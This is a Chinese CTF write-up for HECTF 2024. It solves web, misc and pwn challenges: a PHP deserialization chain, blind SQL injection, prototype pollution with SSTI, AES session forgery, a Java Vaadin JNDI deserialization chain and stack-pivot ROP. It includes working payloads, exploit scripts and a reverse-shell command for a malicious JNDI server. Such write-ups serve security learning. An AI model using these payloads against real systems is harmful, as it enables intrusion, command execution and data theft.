【2024】HECTF 个人整理向
本来想整理下所有的wp的,结果最后发现好多都不会,别的不会的抄wp的话似乎也就只有抄大佬们交上来的wp,不大好,所以最后只写了部分wp,剩下等到学长们把官方wp传上去再整理。
WP:
Web:
Are you happy?:
game.js里找,flag在里面,根据flag的格式,flag开头是HECTF,将这个字段base64编码下,然后就可以搜索了。
baby_unserialize:
<?php
error_reporting(0);
show_source(__FILE__);
echo "flag in /flag</br>";
class User{
public $name;
public $passwd;
public $msg;
public $token = "guest";
public function __construct($name,$passwd){
$this->name = $name;
$this->passwd = $passwd;
}
public function __wakeup(){
$this->token = "guest";
}
public function __destruct(){
if(!$this->check()){
exit(0);
}else{
echo $this->msg;
}
}
public function check(){
if ($this->token === "admin"){
return true;
}else{
return false;
}
}
}
class class00{
public function __call($a,$b){
return 1;
}
public function __set($a, $b){
$b();
}
}
class class01{
public $temp = 0;
public $str3;
public $cls;
public function __tostring(){
$this->temp = $this->cls->func1();
if ($this->temp === 1){
$this->cls->str1 = $this->str3;
}else{
echo "0";
return "0";
}
return "have fun";
}
}
class class02{
public $payload;
public function __invoke(){
if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|;|date|bash|\$|\x00|`|env|\?|wget|\"|\'|\\\|php|id|whoami|=/i', $this->payload)) {
system($this->payload." >/dev/null 2>&1");
}else{
die("fuck you Hacker");
}
}
}
if (isset($_POST["user"])){
$user = unserialize(base64_decode($_POST["user"]));
}else{
exit();
}
flag in /flag
首先是从有system的函数开始看,首先就是需要有能够触发class02__involk
的地方,这里就需要找到其他的动态函数调用的点,在class00的__set
处找到了,之后在class01的__tostring
里找到了,也就是$this->cls->str1 = $this->str3;
,不过,这里需要将cls修改成class00才行,之后再往上,有个比较,if ($this->temp === 1)
这里需要想办法让表达式为True,刚好,class00里面的__call
可以返回1,并且$this->temp = $this->cls->func1();
调用了cls里面不存在的方法;之后往回看,我们的目的是找到wakeup或者destruct等等魔术方法,所以还得继续找,__tostring
能够触发的点,看到User类,里面找到了echo $this->msg;
这里的msg是可控的,刚好,可以用来输出操作,也就是把类当作字符串操作,之后就是想办法绕过check函数即可,绕过__wakeup
即可打出组合拳:
首先是获得前置payload,也就是序列化链子:
<?php
class User{
public $name;
public $passwd;
public $token;
public $msg;
public function __construct($name,$passwd){
$this->name = $name;
$this->passwd = $passwd;
}
}
class class00{
public function __call($a,$b){
return 1;
}
public function __set($a, $b){
$this->$b();
}
}
class class01{
public $temp = 0;
public $str3;
public $cls;
}
class class02{
public $payload;
}
$a = new User("admin","123456");
$a->token = "admin";
$a->msg = new class01();
$a->msg->cls = new class00();
$a->msg->str3 = new class02();
$a->msg->str3->payload = "payload";
echo serialize($a);
//O:4:"User":4:{s:4:"name";s:5:"admin";s:6:"passwd";s:6:"123456";s:5:"token";s:5:"admin";s:3:"msg";O:7:"class01":3:{s:4:"temp";i:0;s:4:"str3";O:7:"class02":1:{s:7:"payload";s:7:"payload";}s:3:"cls";O:7:"class00":0:{}}}
之后,通过信息搜集,发现了PHP版本是5.4,存在成员个数不同绕过__wakeup
的方法,可以直接干,将上面的payload修改一下,然后base64编码即可:
//O:4:"User":6:{s:4:"name";s:5:"admin";s:6:"passwd";s:6:"123456";s:5:"token";s:5:"admin";s:3:"msg";O:7:"class01":3:{s:4:"temp";i:0;s:4:"str3";O:7:"class02":1:{s:7:"payload";s:7:"payload";}s:3:"cls";O:7:"class00":0:{}}}
//Ly9POjQ6IlVzZXIiOjY6e3M6NDoibmFtZSI7czo1OiJhZG1pbiI7czo2OiJwYXNzd2QiO3M6NjoiMTIzNDU2IjtzOjU6InRva2VuIjtzOjU6ImFkbWluIjtzOjM6Im1zZyI7Tzo3OiJjbGFzczAxIjozOntzOjQ6InRlbXAiO2k6MDtzOjQ6InN0cjMiO086NzoiY2xhc3MwMiI6MTp7czo3OiJwYXlsb2FkIjtzOjc6InBheWxvYWQiO31zOjM6ImNscyI7Tzo3OiJjbGFzczAwIjowOnt9fX0=
好了,之后就是读取flag了:
if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|;|date|bash|\$|\x00|`|env|\?|wget|\"|\'|\\\|php|id|whoami|=/i', $this->payload)) {
system($this->payload." >/dev/null 2>&1");
}else{
die("fuck you Hacker");
}
没有过滤空格,还算好(主要是因为这里不知道为啥我用一些手法绕不过空格,我就没有管了,毕竟$没了,多个重定向符也有问题,过不了/dev/null),寻常的ls,dir都被过滤了,大小于符号和中括号没有过,通配符过滤了,反斜杠也过滤了,那就用中括号和文件名来绕过吧,先来一波:
//payload:/bin/l[s] ||
//O:4:"User":6:{s:4:"name";s:5:"admin";s:6:"passwd";s:6:"123456";s:5:"token";s:5:"admin";s:3:"msg";O:7:"class01":3:{s:4:"temp";i:0;s:4:"str3";O:7:"class02":1:{s:7:"payload";s:12:"/bin/l[s] ||";}s:3:"cls";O:7:"class00":0:{}}}
//Tzo0OiJVc2VyIjo2OntzOjQ6Im5hbWUiO3M6NToiYWRtaW4iO3M6NjoicGFzc3dkIjtzOjY6IjEyMzQ1NiI7czo1OiJ0b2tlbiI7czo1OiJhZG1pbiI7czozOiJtc2ciO086NzoiY2xhc3MwMSI6Mzp7czo0OiJ0ZW1wIjtpOjA7czo0OiJzdHIzIjtPOjc6ImNsYXNzMDIiOjE6e3M6NzoicGF5bG9hZCI7czoxMjoiL2Jpbi9sW3NdIHx8Ijt9czozOiJjbHMiO086NzoiY2xhc3MwMCI6MDp7fX19
成功打出组合拳,这里存在一个无回显的一个绕过,需要用||来绕过>/dev/null 2>&1
,原理就是让这一串单独执行或者不执行即可。
之后就是读取flag了:
///bin/ca[t] /fla[g] ||
//O:4:"User":6:{s:4:"name";s:5:"admin";s:6:"passwd";s:6:"123456";s:5:"token";s:5:"admin";s:3:"msg";O:7:"class01":3:{s:4:"temp";i:0;s:4:"str3";O:7:"class02":1:{s:7:"payload";s:21:"/bin/ca[t] /fla[g] ||";}s:3:"cls";O:7:"class00":0:{}}}
//Tzo0OiJVc2VyIjo2OntzOjQ6Im5hbWUiO3M6NToiYWRtaW4iO3M6NjoicGFzc3dkIjtzOjY6IjEyMzQ1NiI7czo1OiJ0b2tlbiI7czo1OiJhZG1pbiI7czozOiJtc2ciO086NzoiY2xhc3MwMSI6Mzp7czo0OiJ0ZW1wIjtpOjA7czo0OiJzdHIzIjtPOjc6ImNsYXNzMDIiOjE6e3M6NzoicGF5bG9hZCI7czoyMToiL2Jpbi9jYVt0XSAvZmxhW2ddIHx8Ijt9czozOiJjbHMiO086NzoiY2xhc3MwMCI6MDp7fX19Cg==
之后读取源码找到了flag
baby_sql:
非预期:
index页面的password存在sql注入,本来想出弱密码的,结果没注意到这里也能打注入,被sqlmap一把梭了。
首先万能密码登陆之后,用group by确定字段数,接着这里 可以用loadfile 来快速出flag。当然,这是建立在flag的文件 确实在根目录并且名字确实是flag,而且存在其他限制,成 功逃课的可能性并不是很大,这里因为同时存在两个原因导致了非预期,一是因为题目部署到平台的时候有个参数忘记删了,这个参数导致了flag会被写入/flag,另外,题目测试的时候,var_dump我忘记删了,会把信息给一同打印出来,就导致了这个题有回显,我的锅啊。
payload:-1'/**/union/**/select/**/1,1,load_file('/flag')#
预期解
首先,index是一个登陆框,排除弱密码的可能,别问为什么,因为爆不出来,直接考虑万能密码,根据密码是存在字符和字母数字的,所以预测为字符型,直接1' or 1=1#
即可
第二页有个莫名其妙的报错,不管。
拿到这个题的第一时间fuzz一下过滤,先做几个尝试,首先,我没捣鼓过这个题能否做布尔盲注,所以直接上时间盲注的手法。随便写入一些,触发过滤,发现有异常输出,也就是NO,Hacker,好了,可以跑字典了。
from requests import post
lst = ["select",
"update",
"from",
"where",
"union",
"like",
"and",
"delete",
"drop",
"insert",
"join",
"hex",
"or",
"if",
"xor",
"not",
"table_name",
"CHAR",
"group_concat",
"information",
"schema",
"columns",
"regexp",
"greatest",
"ascii",
"substr",
"strcmp",
"in",
"between",
"database",
"offset",
"limit",
"sleep",
"benchmark",
"bin",
"mid",
"substring",
"updatexml",
" ",
"--",
"\'",
"\"",
"()",
"-",
"+",
"#",
"*",
"/",
"!",
",",
"`",
"&",
"|",
";",
"^",
"%",
"@",
"=",
"<",
">"]
temp = "NO,Hacker"
a = []
for i in lst:
url = "http://127.0.0.1/worker.php"
data = {"name":i}
rsp = post(url, data=data)
if temp in rsp.text:
a.append(i)
print(a)
#['update', 'delete', 'drop', 'insert', 'join', 'hex', 'CHAR', 'information', 'updatexml', ' ', '--', '=', '<', '>']
最后跑出来和我预计的差不多,然后因为又是可以输入字符等等,推测还是字符型注入,随机构造一下payload看看能否成功:
from requests import post
url = "http://154.64.254.169:33161/worker.php"
payload = "111'/**/or/**/if((select/**/database())/**/like/**/database(),sleep(5),sleep(0))#"
data = {"name":payload}
def istime(data):
try:
resp = post(url,data=data,timeout=5)
return "not"
except:
return "timeout"
print(istime(data))
#timeout
可以盲注,因为过滤了infomation,所以需要用innodb来绕过,先跑,直接梭哈(脚本每次的时间会很长,这个是为了保证正确率,因为远程测试的时候出现了服务器扛不住的情况,所以,需要增加等待时长来防止服务器宕机):
#测试的时候服务器有点问题,爆破的时候总是要出问题,建议每一个函数多跑几次保证成功率,或者每次多修改一些time和sleep的时长保证正确率
from requests import post
import string
import time
alpha = """{_}[]-""" + string.ascii_letters + string.digits
url = "http://154.64.254.169:33113/worker.php"
def istime(data):
try:
resp = post(url,data=data,timeout=20)
return "not"
except:
return "timeout"
# 数据库长度为:7
def db_name_len():
i = 1
while True:
payload = "g01den'/**/or/**/if((select/**/length(database()))/**/like/**/{},sleep(20),sleep(0))#".format(i)
data = {"name":payload}
# print(payload)
time.sleep(0.3)
if istime(data) == "timeout":
print("数据库长度为:%d"%i)
return i
i += 1
#数据库名为greatsql
def db_name():
name = ""
for i in range(1,8):
for j in alpha:
payload = "g01den'/**/Or/**/if(substr(database(),{},1)/**/like/**/'{}',sLeep(20),sLeep(0))#".format(i,j)
data = {"name": payload}
time.sleep(0.3)
if istime(data) == "timeout":
name += j
break
print("数据库的名字是"+name)
return name
# 数据库的个数为4
def db_name_count():
i = 1
while True:
payload = "g01den'/**/Or/**/if((seLect/**/COUNT(database_name)/**/fRom/**/mysql.innodb_table_stats)/**/like/**/{},sLeep(20),sLeep(0))#".format(i)
data = {"name": payload}
# print(payload)
time.sleep(0.3)
if istime(data) == "timeout":
print("数据库的个数为"+str(i))
return i
i += 1
# [10, 5, 5, 7]
def db_name_len_list():
name_len_list = []
for i in range(0,4):
for j in range(0,100):
payload = "g01den'/**/Or/**/if((select/**/length(database_name)/**/from/**/mysql.innodb_table_stats/**/limit/**/{},1)/**/like/**/{},sleep(20),sleep(0))#".format(i,j)
data = {"name": payload}
# print(payload)
time.sleep(0.3)
if istime(data) == "timeout":
name_len_list.append(j)
break
print(name_len_list)
return name_len_list
# 上一个查询结果为四次,所以手动查四次,没跑完一次,修改limit后面的参数,以及第一层for循环的参数
# flag1shere
# mysql
# users
# workers
def db_name_list():
name = ""
for i in range(1,8):
for j in alpha:
payload = "g01den'/**/Or/**/if((select/**/substr(database_name,{},1)/**/from/**/mysql.innodb_table_stats/**/limit/**/3,1)/**/like/**/'{}',sLeep(20),sLeep(0))#".format(i,j)
data = {"name": payload}
# print(payload)
time.sleep(0.3)
if istime(data) == "timeout":
name += j
time.sleep(2)
break
print(name)
return name
# 当前数据库的表有2
def tb_count():
i = 1
while True:
payload = "g01den'/**/Or/**/if((select/**/count(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name/**/like/**/'flag1shere')/**/like/**/{},sleep(20),sLeep(0))#".format(i)
data = {"name": payload}
# print(payload)
time.sleep(0.3)
if istime(data) == "timeout":
print("当前数据库的表有"+str(i))
return i
i += 1
# 因为测出来有两个表,所以需要查两次
# 当前数据库表名长度为36
# 当前数据库表名长度为8
def tb_name_len():
i = 0
while True:
payload = "g01den'/**/Or/**/if((select/**/length(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name/**/like/**/'flag1shere'/**/limit/**/0,1)/**/like/**/{},sleep(20),sLeep(0))#".format(i)
data = {"name": payload}
# print(payload)
time.sleep(0.5)
if istime(data) == "timeout":
print("当前数据库表名长度为" + str(i))
return i
i += 1
# 因为存在两张表,所以得查两次
# flag_is_in_flag1shere_loockhere_flag
# flag
def tb_name():
name = ""
for i in range(1,37):
for j in alpha:
payload = "g01den'/**/Or/**/if((select/**/substr(table_name,{},1)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name/**/like/**/'flag1shere'/**/limit/**/0,1)/**/in/**/('{}'),sleep(20),sleep(0))#".format(i,j)
data = {"name": payload}
# print(payload)
time.sleep(0.5)
if istime(data) == "timeout":
print(j,end="")
name += j
break
print(name)
return name
# 数据库的数据个数为1
def flag_count():
i = 1
while True:
payload = "g01den'/**/or/**/if((select/**/count(flag)/**/from/**/flag1shere.lookhere)/**/like/**/{},sleep(20),sleep(0))#".format(i)
data = {"name": payload}
time.sleep(0.3)
if istime(data) == "timeout":
print("数据库的数据个数为"+str(i))
return i
i += 1
# flag的长度为32
def flag_name_len():
i = 0
while True:
payload = "g01den'/**/or/**/if((select/**/length(flag)/**/from/**/flag1shere.lookhere)/**/like/**/{},sleep(20),sleep(0))#".format(i)
data = {"name": payload}
time.sleep(0.3)
if istime(data) == "timeout":
print("flag的长度为" + str(i))
return i
i += 1
# hectf{fl4g_1s_h5r5_n1ce_try_4_u}
def flag_get():
flag = ""
for i in range(1,34):
for j in alpha:
payload = "g01den'/**/or/**/if((select/**/substr(flag,{},1)/**/from/**/flag1shere.lookhere)/**/in/**/('{}'),sleep(20),sleep(0))#".format(i,j)
data = {"name": payload}
print(payload)
time.sleep(0.5)
if istime(data) == "timeout":
flag += j
print(flag)
break
print(flag)
return flag
# db_name_len()
# db_name()
# db_name_count()
# db_name_len_list()
# db_name_list()
# tb_count()
# tb_name_len()
# tb_name()
# flag_count()
# flag_name_len()
# flag_get()
直接跑最后一个函数就可以得到flag,但是时间会很长,其他的是为了让这个题有始有终,尽可能获得更多的数据。
你一个人专属的进货网站:
看到#pip install -v pydash==5.1.2
知是原型链污染。
admin路由中存在ssti,想进去需要伪造session。setUserInfo路由存在原型链污染,抓包改参数,先污染key,之后污染WAF文件里的blacklist,之后污染user对象里的username或者setUserInfo改名进行ssti。
这里贴一下大佬的poc:
import requests
url = '8.153.107.251:32109'
login_url = f'http://{url}/login'
setUserInfo_url = f'http://{url}/setUserInfo'
admin_url = f'http://{url}/admin'
username = "[[g.pop.__globals__.__builtins__.__import__('os').popen('cat /flag').read()]]"
password = "lbz"
login_data = {
'username': username,
'password': password
}
response0 = requests.post(login_url, data=login_data)
setUserInfo_data = {
'key': ".__init__.__globals__.app.config.SECRET_KEY",
'value': "123"
}
response1 = requests.post(setUserInfo_url, data=setUserInfo_data)
setUserInfo_data = {
'key': ".__init__.__globals__.app.jinja_env.variable_start_string",
'value': "[["
}
response2 = requests.post(setUserInfo_url, data=setUserInfo_data)
setUserInfo_data = {
'key': ".__init__.__globals__.app.jinja_env.variable_end_string",
'value': "]]"
}
response3 = requests.post(setUserInfo_url, data=setUserInfo_data)
setUserInfo_data = {
'key': ".__init__.__globals__.WAF.blacklist",
'value': "%"
}
response4 = requests.post(setUserInfo_url, data=setUserInfo_data)
session = input("Enter the session cookie: ")
cookies = {
'session': session
}
response5 = requests.get(admin_url, cookies=cookies)
print(response5.text)
session伪造可以用 flask_session_cookie_manager 。
ezweb
查看源码,得到base64解密数据:
if($_GET['a'] != $_GET['b'] && md5($_GET['a']) == md5($_GET['b'])) {
if ($_GET['c'] != $_GET['d'] && md5($_GET['c']) === md5($_GET['d'])) {
if (isset($_GET['guess']) && md5($_GET['guess']) === 'aa476cf7143fe69c29b36e4d0a793604') { //xxxxx2024
highlight_file("secret.php");
}
}
}
传入这个绕过前两层
?a[]=a&b[]=b&c[]=c&d[]=d
之后的guess撞库获得hECTf2024。得到secret.php文件:
<?php
error_reporting(0);
//mt_srand(rand(1e5,1e7));
//$key = rand();
//file_put_contents(*,$key);
function session_decrypt($session,$key){
$data = base64_decode($session);
$method = 'AES-256-CBC';
$iv_size = openssl_cipher_iv_length($method);
$iv = substr($data,0,$iv_size);
$enc = substr($data,$iv_size);
return openssl_decrypt($enc, $method, $key, 1, $iv);
}
看出来加密算法,AES-256-CBC,key为随机生成的,种子也是随机生成的,得爆破,贴个大佬的脚本:
<?php
error_reporting(0);
for ($i = 100000; $i < 10000000; $i++) {
mt_srand($i);
$key = rand();
$session = "ja59o5qBBFlXzx7hHeauqrsXPoilxIhW%2F5Aq9CFdqF1kGFHBVjb7TvMlEfZwG5eBukjNbEQSV9VKTLuZevUwJuX2LZ7qc9lu22V%2B368YSXWwoHTWlM9XFUY9jWip3pUo";
$session = urldecode($session);
$result = session_decrypt($session, $key);
if ($result !== false and preg_match("/guest|admin/i", $result)) {
echo "
解密成功!解密后的数据
" . ($result) . "\n";
echo "Key:".$key."\n";
echo "srand:".$i."\n";
break;
}
}
function session_decrypt($session, $key)
{
$data = base64_decode($session);
$method = 'AES-256-CBC';
$iv_size = openssl_cipher_iv_length($method);
$iv = substr($data, 0, $iv_size);
$enc = substr($data, $iv_size);
return openssl_decrypt($enc, $method, $key, 1, $iv);
}
解密成功!解密后的数据
O:4:“User”:2:{s:8:“username”;s:5:“guest”;s:4:“role”;s:5:“guest”;}
Key:1728818262
srand:8168720
<?php
$res=session_encrypt('O:4:"User":2:{s:8:"username";s:5:"guest";s:4:"role";s:5:"admin";}',1728818262);
function session_encrypt($data, $key) {
$method = 'AES-256-CBC';
$iv_size = openssl_cipher_iv_length($method);
$iv = openssl_random_pseudo_bytes($iv_size);
echo bin2hex($iv)."\n";
$encrypted = openssl_encrypt($data, $method, $key, 1, $iv);
echo bin2hex($encrypted)."\n";
$encoded = base64_encode($iv . $encrypted);
return $encoded;
}
echo $res;
#DWuzth9WfI2ufPUB5nI99CQuFk4nBqn8g3cvtJfSb5E4wnC+d4sICqt3hONji9RbclgNtgPZLkKQPSvO6e6INHudhIc9ofgj4GYs/6mZWx+jLaaqV+5jQLCvvGtfLLD2
之后得到了flag。
ezjava:
不会java,所以先抄一遍学长的wp,之后再学习下 (╥_╥)
通过附件中的jar包可以看出有,CC3.2.1、vaadin依赖,推测是用vaadin的链子。
通过反编译jar包的IndexController:
package com.example.easyjava.Controller;
import com.example.easyjava.challenge.MyObjectInputStream;
import com.example.easyjava.challenge.normal;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.Base64;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
@Controller
/* loaded from: EZjava.jar:BOOT-INF/classes/com/example/easyjava/Controller/IndexController.class */
public class IndexController {
public static String string;
@GetMapping({"/"})
public String main() throws Exception {
return "redirect:/index.html";
}
@PostMapping({"/file"})
public String index(@RequestParam String data) throws Exception {
System.out.println(data);
if (data == null || data.equals("")) {
return "redirect:/error.html";
}
string = data;
deserialize(string); //这里存在反序列化
return "redirect:/index.html";
}
public Object deserialize(String base64data) {
try {
byte[] decode = Base64.getDecoder().decode(base64data.toString().replace("\r\n", ""));
String payload = new String(decode);
if (new normal(payload).blacklist(payload)) {//这里有黑名单
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(base64data.toString().replace("\r\n", "")));
ObjectInputStream ois = new MyObjectInputStream(byteArrayInputStream);
ois.readObject();
ois.close();
return ois;
}
return "redirect:/error.html";
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
}
可以看到/file路由,直接把传入的string字符串反序列化,并且string是我们可控的,但是下面有黑名单
package com.example.easyjava.challenge;
import java.io.UnsupportedEncodingException;
/* loaded from: EZjava.jar:BOOT-INF/classes/com/example/easyjava/challenge/normal.class */
public class normal {
public normal(String data) throws UnsupportedEncodingException {
}
public boolean blacklist(String data) {
String[] blacklist = {"BadAttributeValueExpException", "Collections$UnmodifiableList", "PropertysetItem", "AbstractClientConnector", "Enum", "SQLContainer", "LinkedHashMap", "TableQuery", "AbstractTransactionalQuery", "J2EEConnectionPool", "DefaultSQLGenerator"};
for (String list : blacklist) {
if (data.contains(list)) {
return false;
}
}
return true;
}
}
发现常用的 BadAttributeValueExpException
后面这里重写了ObjectInputStream类,看一下MyObjectInputStream做了哪些过滤
package com.example.easyjava.challenge;
import java.io.IOException;
import java.io.InputStream;
import java.io.InvalidClassException;
import java.io.ObjectInputStream;
import java.io.ObjectStreamClass;
/* loaded from: EZjava.jar:BOOT-INF/classes/com/example/easyjava/challenge/MyObjectInputStream.class */
public class MyObjectInputStream extends ObjectInputStream {
public MyObjectInputStream(InputStream in) throws IOException {
super(in);
}
@Override // java.io.ObjectInputStream
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
String className = desc.getName().toLowerCase();
String[] denyClasses = {"java.net.InetAddress", "org.apache.commons.collections.Transformer", "org.apache.commons.collections.functors", "C3P0", "Jackson", "NestedMethodProperty", "TemplatesImpl"};
for (String str : denyClasses) {
String denyClass = str.toLowerCase();
if (className.contains(denyClass)) {
throw new InvalidClassException("Unauthorized deserialization attempt", className);
}
}
return super.resolveClass(desc);
}
}
到这里常用的spring、jackson的链子都打不通了,只能看关于vaadin依赖的链子,网上公开的是 NestedMethodProperty和SQLContainer这俩条链子,但是在resolveClass中 NestedMethodProperty类在黑名单中无法使用
所以可以确定用SQLContainer链子,blacklist黑名单的内容这里直接可以用utf-8编码来绕即可(网上的 SQLContainer不太完整,需要手动本地调试一下),本题是出网的直接用JDBCConnectionPool类打 JNDI注入即可
JDBCConnectionPool#reserveConnection
getConnection
TableQuery# beginTransaction
TableQuery#containsRowWithkey
containsId (item可控,item.getId 值 ==TableQuery)
getValue -----这一层,item == sqlcontainer
toString
package com.example.Utils;
import com.example.Utils.ReflectionUtil;
import com.example.Utils.SerializeUtil;
import com.utf.CustomObjectOutputStream;
import com.vaadin.data.util.PropertysetItem;
import com.vaadin.data.util.sqlcontainer.CacheMap;
import com.vaadin.data.util.sqlcontainer.RowId;
import com.vaadin.data.util.sqlcontainer.RowItem;
import com.vaadin.data.util.sqlcontainer.SQLContainer;
import com.vaadin.data.util.sqlcontainer.connection.J2EEConnectionPool;
import com.vaadin.data.util.sqlcontainer.query.QueryDelegate;
import com.vaadin.data.util.sqlcontainer.query.TableQuery;
import com.vaadin.data.util.sqlcontainer.query.generator.DefaultSQLGenerator;
import com.vaadin.ui.ListSelect;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.util.ArrayList;
import java.util.Base64;
public class test {
public static String string="";
public static void main(String[] args) throws Exception {
J2EEConnectionPool pool = new J2EEConnectionPool("ldap://");
TableQuery tableQuery = (TableQuery)
ReflectionUtil.createWithoutConstructor(Class.forName("com.vaadin.data.util.sqlconta
iner.query.TableQuery"));
ReflectionUtil.setField(tableQuery, "primaryKeyColumns", new ArrayList<>());
ReflectionUtil.setField(tableQuery, "fullTableName", "test");
ReflectionUtil.setField(tableQuery, "sqlGenerator", new
DefaultSQLGenerator());
ReflectionUtil.setField(tableQuery, "connectionPool", pool);
ListSelect listSelect = new ListSelect();
SQLContainer sql = (SQLContainer)
ReflectionUtil.createObject("com.vaadin.data.util.sqlcontainer.SQLContainer", new
Class[]{}, new Object[]{});
ReflectionUtil.setField(sql, "queryDelegate", tableQuery);
ReflectionUtil.setField(sql,"cachedItems",new CacheMap<>());
RowId id = new RowId("id");
ReflectionUtil.setField(listSelect, "value", id);
ReflectionUtil.setField(listSelect, "multiSelect", true);
ReflectionUtil.setField(listSelect, "items", sql);
PropertysetItem propertysetItem = new PropertysetItem();
propertysetItem.addItemProperty("key", listSelect);
BadAttributeValueExpException bad = new BadAttributeValueExpException(0);
ReflectionUtil.setField(bad, "val", propertysetItem);
serialize2(bad);
}
public static void serialize2(Object obj) throws Exception {
CustomObjectOutputStream oos = new CustomObjectOutputStream(new
FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
}
CustomObjectOutputStream类是网上公开的utf-8编码绕过(网上的有的没有对数字进行编码会导致报错, 可参考P神的文章https://www.leavesongs.com/PENETRATION/utf-8-overlong-encoding.html 用python脚 本生成即可)
在vps上开启一个恶意的服务器:
java -jar JNDI-Injection-Exploit-Plus-2.4-SNAPSHOT-all.jar -C "bash -c {echo,}| {base64,-d}|{bash,-i}"
开启反弹shell监听的端口,最后在根目录获取flag
Misc:
简单的压缩包:
打开之后有个Re,打开发现是一个正则表达式:
^([a-z]){2}\d\d([^a-z])$
前面两个是字符,第三四个是数字,第五个不是小写字母,根据这个生成个字典:
str_12 = "abcdefghijklmnopqrstuvwxyz"
digit = "0123456789"
str_4 = """ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$&'()*+,-./:;<=>?@[\]^_`{|}~"""
with open("dict.txt","w") as f:
for i in str_12:
for j in str_12:
for k in digit:
for m in digit:
for n in str_4:
dic =i+j+k+m
f.write(dic+"\n")
之后拿着这个去爆破,爆破到密码,不过这里非预期了,竟然可以用明文攻击,师傅们简直太强了,不过这里因为失去某些信息导致爆破难度增大也是我的锅:
np76_
之后就是png,winhex发现藏了有文件,foremost分离,分离后看到了个py文件和一个压缩包:
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import binascii
def encrypt(key,iv):
data = content
cipher1 = AES.new(key, AES.MODE_CBC, iv)
ct = cipher1.encrypt(pad(data, 16))
ct_hex = binascii.b2a_hex(ct)
return ct_hex
with open("oringe.zip","rb") as f:
content = f.read()
key = b"abcdefghijklmnop"
iv = b"qwertyuiopasdfgh"
en = encrypt(key,iv)
with open("zip2.zip","wb") as f:
f.write(en)
显然,压缩包被加密了,AES加密和key都有,直接打:
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import binascii
def decrypt(ct_hex,key,iv):
cipher2 = AES.new(key, AES.MODE_CBC, iv)
hex_data = binascii.a2b_hex(ct_hex)
pt = unpad(cipher2.decrypt(hex_data), 16)
return pt
key = b"abcdefghijklmnop"
iv = b"qwertyuiopasdfgh"
# 加密的zip文件
with open("jiami.zip","rb") as f:
endata = f.read()
# 新建的解密zip文件
with open("jiemi.zip","wb") as f:
dedata = decrypt(endata,key,iv)
f.write(dedata)
9解压后就有flag了。
HECTF{c292af1-2b2ee35-6398bd4934f7626afc}
Pwn
sign in
检查无保护:
g01den@MSI:/mnt/c/Users/20820/Downloads/attachment$ checksec pwn
[*] '/mnt/c/Users/20820/Downloads/attachment/pwn'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[10]; // [rsp+8h] [rbp-18h] BYREF
char s[10]; // [rsp+12h] [rbp-Eh] BYREF
int v6; // [rsp+1Ch] [rbp-4h]
init(argc, argv, envp);
puts("please sign in!!!!");
gets(s);
v6 = strlen(s);
if ( v6 > 8 )
{
puts("overflow");
exit(1);
}
puts("Enter your key");
read(0, buf, 0xAuLL);
if ( !strncmp(buf, m, 0xAuLL) )
{
puts("login--------");
close(1);
backd00r();
}
return 0;
}
两个办法:
方法一:
gets没有能造成栈溢出,用\x00可以绕过strlen的比较,可以直接溢出劫持rip到backd00r,这里就不给exp了。
方法二:
寻常绕close(1),key为HECTF!,之后sh flag报错带出来即可。
find eggy:
寻常栈迁移,漏洞在check函数里:
int __fastcall check(__int16 a1)
{
unsigned int v1; // eax
char buf[28]; // [rsp+10h] [rbp-20h] BYREF
int v4; // [rsp+2Ch] [rbp-4h]
puts(aKaka);
if ( a1 )
{
puts(&byte_4020A8);
puts("------- --------\n");
puts("|||||||| |||||||| \n");
puts(" \n");
return puts(" V \n");
}
else
{
puts("Success!");
puts("Don't touch me!");
if ( read(0, &s, 0x70uLL) <= 0 )
{
perror("read error");
exit(1);
}
puts("TvT");
if ( read(0, buf, 0x30uLL) <= 0 )
{
perror("read error");
exit(1);
}
v1 = atoi(buf);
v4 = calculate_sum_of_factors(v1);
printf("The sum of factors of %s is %d\n", buf, v4);
if ( !strcmp(buf, "12345") && v4 == 15616 )
printf("Congratulations! You found the flag{this is flag}");
return puts("yes!");
}
}
两次读取,第一次读到bss段上,第二次在栈上,但是第二次限制了读取大小,不足以构造ROP链,所以栈迁移到bss段上:
from pwn import *
#p = process('./pwn')
#context.log_level = 'debug'
p = remote('0.0.0.0',9393)
s = 0x405600
system = 0x4015ad
binsh = 0x403680
rdi = 0x401326
leave = 0x4014c0
ret = 0x40101a
p.recv()
p.sendline(b'-983040')
#gdb.attach(p)
p.recvuntil(b"Don't touch me!")
pay = p64(rdi) +p64(binsh) +p64(ret) +p64(system)
p.sendline(pay)
p.recvuntil(b'TvT')
payload = b'a'*0x20 +p64(s-8)+p64(leave)
p.sendline(payload)
p.interactive()
Arcaea_Sorting:
第一次出题,踩坑太多了,这次差点儿给自己弄废了,不过好歹是出出来了,坑啊,全是坑。
首先是checksec一下:
g01den@MSI:~/CTest/HECTF2024/pwn3$ checksec pwn
[*] '/home/g01den/CTest/HECTF2024/pwn3/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
